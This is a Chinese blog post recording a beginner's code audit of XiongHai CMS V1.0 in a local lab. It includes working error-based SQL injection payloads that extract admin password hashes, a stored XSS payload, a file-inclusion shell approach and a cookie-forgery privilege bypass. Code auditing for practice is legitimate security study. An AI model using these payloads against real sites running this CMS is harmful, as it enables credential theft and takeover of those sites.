目录

  • 前言
  • 一、环境
    • 1、用到的工具
    • 2、搭建环境
  • 二、审计
    • 1、文件包含
      • (1)index.php
      • (2)admin/index.php
    • 2、SQL注入
      • (1)admin/files/adset.php
      • (2)admin/files/login.php
      • (3)admin/files/newlink.php
      • (4)admin/files/reply.php
      • (5)admin/files/editlink.php
      • (6)files/content.php
      • (7)files/software.php
    • 3、任意文件读取
      • (1)files/downloads.php
    • 4、XSS
      • (1)seacmseditor/php/controller.php
      • (2)files/contact.php反射XSS
      • (3)files/list.php反射XSS
      • (4)files/contact.php存储XSS
      • (5)admin/files/manageinfo.php存储XSS
    • 5、越权
      • (1)/inc/checklogin.php
  • 结语

前言

学习练习代码审计,找来据说很多洞对新手友好的 熊海CMS V1.0,15年的小CMS

一、环境

1、用到的工具

  • phpstudy:官网下载,提供网站环境
  • seay:github搜下就有,经典代码审计工具
  • 熊海CMS V1.0:搜下就有,注意下来源就是

2、搭建环境

用phpstudy简单部署下,源码放在图中目录位置,注意php版本<7

修改C:\Windows\System32\drivers\etc\hosts文件,加上

127.0.0.1 www.xhcms.com

配置完成后,在phpstudy_pro面板重启下Apache服务,然后浏览器访问www.xhcms.com/install进入系统安装页面,填写好相关信息


跳转界面

环境搭建完成

二、审计

先扔进seay自动审计


然后一个个手动看

1、文件包含

(1)index.php


直接include,只用了addslashes做个转义,这有啥用啊

写个shell.php文件放files目录



也可以写txt文件,然后00截断或长度截断执行

(2)admin/index.php

一样一样的

2、SQL注入

(1)admin/files/adset.php


有addslashes转义了,属于误报

除非数据库编码与PHP编码设置有问题,导致可以宽字节注入
(类似的误报下面就不写了)

(2)admin/files/login.php


登录界面

  • user和password是直接获取POST传来的参数,并没有进行任何过滤
  • 先进行user的查询,如果user在数据库中存在,那么就进行password的比较,是将我们输入的password进行md5哈希一下,然后与数据库中的进行比对

所以说万能密码在这里是没有用的,但是我们却可以用报错注入得到用户名和密码

payload

user=123' or extractvalue(1,concat((select concat(0x7e,password,0x7e) from manage)))#&password=
或者
user=123' or updatexml(1,concat((select concat(0x7e,password,0x7e) from manage)),0)#&password=

但是这里有一点比较坑的是,这里注出来的password最多只有27位,但是数据库存的是password的MD5值,有32位,所以说得到的md5是不对的,需要进行两次注入才能得到完整的密码,以extractvalue()函数为例:

user=123' or extractvalue(1,concat((select concat(0x7e,password) from manage)))#&password=
user=123' or extractvalue(1,concat((select concat(password,0x7e) from manage)))#&password=


(3)admin/files/newlink.php


这里的变量都是直接POST传进来并且没做任何过滤
显然也是可以报错注入的

payload:'%20or%20updatexml(1,concat(0x7e,(select%20concat(user,0x3a,password)%20from%20manage)),1) or '

(4)admin/files/reply.php


GET获得id,没有过滤
payload:' or updatexml(1,concat((select concat(0x7e,password,0x7e) from manage)),0) or '

(5)admin/files/editlink.php


同样是没过滤
继续payload:' or updatexml(1,concat((select concat(0x7e,password,0x7e) from manage)),0) or '
(类似的就不再写了)

(6)files/content.php

  • addslashes函数将$id进行了转义
  • 第14行的SQL语句用了单引号保护$navid变量,防止SQL注入
  • 但是19行却存在明显的UPDATE型注入,利用报错执行sql命令

payload:?r=content&cid=1%20or%20updatexml(1,concat(0x7e,(select%20concat(user,0x3a,password)%20from%20manage)),1)

(7)files/software.php


和(6)一样的漏洞

3、任意文件读取

(1)files/downloads.php


一路回溯

# 依次回溯
fopen("$sourceFile", "rb");|
$sourceFile = $fileadd;|
$fileadd=$down['softadd'];|
$down= mysql_fetch_array($result);|
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());|
$fileid=addslashes($_GET['cid']);

参数$sourceFile的值大概率是受cid(用户可控)影响的
softadd的值直接影响最后的$sourceFile

进入发布界面admin/?r=newsoft

然后前台下载?r=downloads

4、XSS

(1)seacmseditor/php/controller.php


在输出到浏览器的时候被htmlspecialchars转义成为了html实体

所以说这是一个误报

(2)files/contact.php反射XSS


addslashes()只过滤了'"\NULL,仍然可以执行xss命令

(3)files/list.php反射XSS


与(2)同理

(4)files/contact.php存储XSS


提交表单信息,将写入的评论存入$content变量然后发送到sunbmit.php中进行处理,对name、mail、url都没有进行过滤

(5)admin/files/manageinfo.php存储XSS

<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$setopen='class="open"';
$query = "SELECT * FROM manage";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$manage = mysql_fetch_array($resul);$save=$_POST['save'];$user=$_POST['user'];
$name=$_POST['name'];
$password=$_POST['password'];
$password2=$_POST['password2'];
$img=$_POST['img'];
$mail=$_POST['mail'];
$qq=$_POST['qq'];if ($save==1){if ($user==""){echo "<script>alert('抱歉,帐号不能为空。');history.back()</script>";
exit;}if ($name==""){echo "<script>alert('抱歉,名称不能为空。');history.back()</script>";
exit;}
if ($password<>$password2){echo "<script>alert('抱歉,两次密码输入不一致!');history.back()</script>";
exit;}//处理图片上传
if(!empty($_FILES['images']['tmp_name'])){$query = "SELECT * FROM imageset";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$imageset = mysql_fetch_array($result);
include '../inc/up.class.php';
if (empty($HTTP_POST_FILES['images']['tmp_name']))//判断接收数据是否为空
{$tmp = new FileUpload_Single;$upload="../upload/touxiang";//图片上传的目录,这里是当前目录下的upload目录,可自已修改$tmp -> accessPath =$upload;if ( $tmp -> TODO() ){$filename=$tmp -> newFileName;//生成的文件名$filename=$upload.'/'.$filename;$imgsms="及图片";}
}
}if ($filename<>""){$images="img='$filename',";
}if ($password<>""){$password=md5($password);
$password="password='$password',";
}$query = "UPDATE manage SET
user='$user',
name='$name',
$password
$images
mail='$mail',
qq='$qq',
date=now()";
@mysql_query($query) or die('修改错误:'.mysql_error());
echo "<script>alert('亲爱的,资料".$imgsms."设置已成功更新!');location.href='?r=manageinfo'</script>";
exit;
}
?>
  • 参数由POST直接得到,无任何过滤
  • 并没有用htmlspecialchars()或htmlentities()函数过滤

payload: <img src=1 onerror=alert(/xss/)>

5、越权

(1)/inc/checklogin.php


只要有cookie就可以,没有对cookie做判断


修改cookie后


成功越权

结语

拿来练手是极好的,毕竟现在不会有这么多低级漏洞了

参考:

  • 熊海CMS_V1.0代码审计与漏洞分析及采坑日记(一)–文件包含漏洞
  • 熊海CMS_V1.0: 审计过程与漏洞分析
  • 熊海CMS任意文件下载 0day
  • 熊海cms代码审计

代码审计系列:熊海CMS V1.0 (iseaCMS_1.0)相关推荐

  1. 适合入门代码审计之熊海cms

    一.前言 简单了解了一下,审计入门,熊海比较适合,因为是简单的cms,适合入门. 二.审计环境 使用小皮面板,新建网站 三.审计过程 先了解文件目录 admin --管理后台文件夹 css --存放c ...

  2. 熊海博客php版本,熊海CMS xhcms v1.0代码审计

    有空的时候就进行小型CMS的代码审计,这次审计的对象是熊海CMS v1.0 本地环境安装好了之后,可以看到提示安装了锁文件 说明重装漏洞应该不会存在了,这时候丢进seay代码审计系统的代码也出结果了, ...

  3. 熊海CMS 1.0代码审计漏洞集合

    目录 SQL注入 注入1 注入2 注入3 cookie注入 注入5 XSS 反射型xss1 存储型xss2 反射型xss3 反射型xss4 存储型xss5 文件包含 越权登录 熊海CMS是由熊海开发的 ...

  4. PHP代码审计demo之熊海cms

    实践学习php,thinkphp,Redis,vue,uni-app等技术,推荐开源电商系统likeshop,可以借鉴思路,可去版权免费商用,gitee下载地址: 点击进项目地址 php漏洞的利用依赖 ...

  5. 熊海博客php版本,xhcms_v1.0 熊海CMS是由熊海开发的一款可广泛应用于个人博客 联合开发网 - pudn.com...

    xhcms_v1.0 所属分类:WEB开发 开发工具:Java 文件大小:4002KB 下载次数:3 上传日期:2015-05-14 14:41:13 上 传 者:dou 说明:  熊海CMS是由熊海 ...

  6. 熊海cms——代码审计

    前言 再基本了解了代码审计的方法后,参考各个师傅的博客跟着他们一步一步代码审计. 下载源码:A5源码.站长之家.源码之家.系统官网等. 审计环境 使用小皮面板,新建网站 接着直接打开网站的instal ...

  7. 熊海CMS网站SQL注入、XSS攻击、cookie篡改

    CMS下载地址:https://www.jb51.net/codes/303119.html 代码审计,篡改cookie登录管理员界面 通过信息搜集找到了网站的源码 this.location='?r ...

  8. 熊海CMS_V1.0代码审计与漏洞分析及采坑日记(一)--文件包含漏洞

    前言 最近几天在给协会的学弟讲代码审计入门相关内容,便找了这个熊海CMS_V1.0来教学,结果在这个过程中遇到蛮多问题的,于是这篇文章详细记录了对熊海CMS_V1.0从搭建到审计与漏洞分析的过程,其中 ...

  9. 代码审计系列:久草CMS(9CCMS)V1.9

    前言 偶然看到一篇9CCMS(久草CMS) V1.9 弱口令+后台拿shell的文章 兴起去找来源码看看,下载源码 审计了下有下面这些洞 1.前台反射XSS 在文件static/home/videoj ...

最新文章

  1. vue 同一个域名移动端pc端两套代码跳转_百度移动搜索优化:手机站优化指南
  2. android app数据库数据存放
  3. iOS 设置所有UIButton的ExclusiveTouch属性为YES
  4. c语言二次函数拟合,二次函数拟合算法
  5. reveal end of document
  6. 如何解决json中携带的反斜杠_【经验分享】python干货:5种反扒机制的解决方法...
  7. 自主品牌语音交互性能测评,荣威RX5反应更快,博越变暖男
  8. Unity学习笔记(一)——C#语法基础
  9. [2018.11.05 T2] 买牛奶
  10. JVM内存管理------GC算法精解
  11. python生成图像公章_科学网—python pillow库 python界的ps 实现数据批量盖章 并打包成exe - 李鸿斌的博文...
  12. VS中C++解决方案中多个项目文件的引用
  13. kdj超卖_为什么在KDJ指标的超卖区间不能卖出股票
  14. java后台 apiV3 对接微信app支付
  15. python爬取天猫商品数据
  16. CLion下开发OpenGL项目,忘记进入glad.c文件造成的问题
  17. Struts2 OGNL标签
  18. 腾讯微博平台开发,熟悉API结构,获得头像本地保存
  19. php中文字符串提取方法,preg_replace 和preg_match_all区别
  20. L2-018 多项式A除以B (25 分)

热门文章

  1. python py7zr 压缩解压 指定文件名、文件后缀
  2. linux 快捷键常用
  3. vs2015卸载问题解决方案.vs2013编译缺少cscui.dll 及 Delphi 编译报ToolsVersion “14.0“错误
  4. 火狐浏览器被恶意篡改,劫持(打开同时跳出主页和2345网页)
  5. 浏览器大战再起,谁将夺取企业市场第一把交椅?
  6. java电影票选座_Android自定义view实现电影票在线选座功能
  7. svn 合并分支到主干
  8. 解决达梦数据库DM8创建用户提示:“密码长处不符合要求”问题
  9. 电子科技大学《图论及其应用》复习总结---第二章 树
  10. Unity通过相机控制场景模型的移动和缩放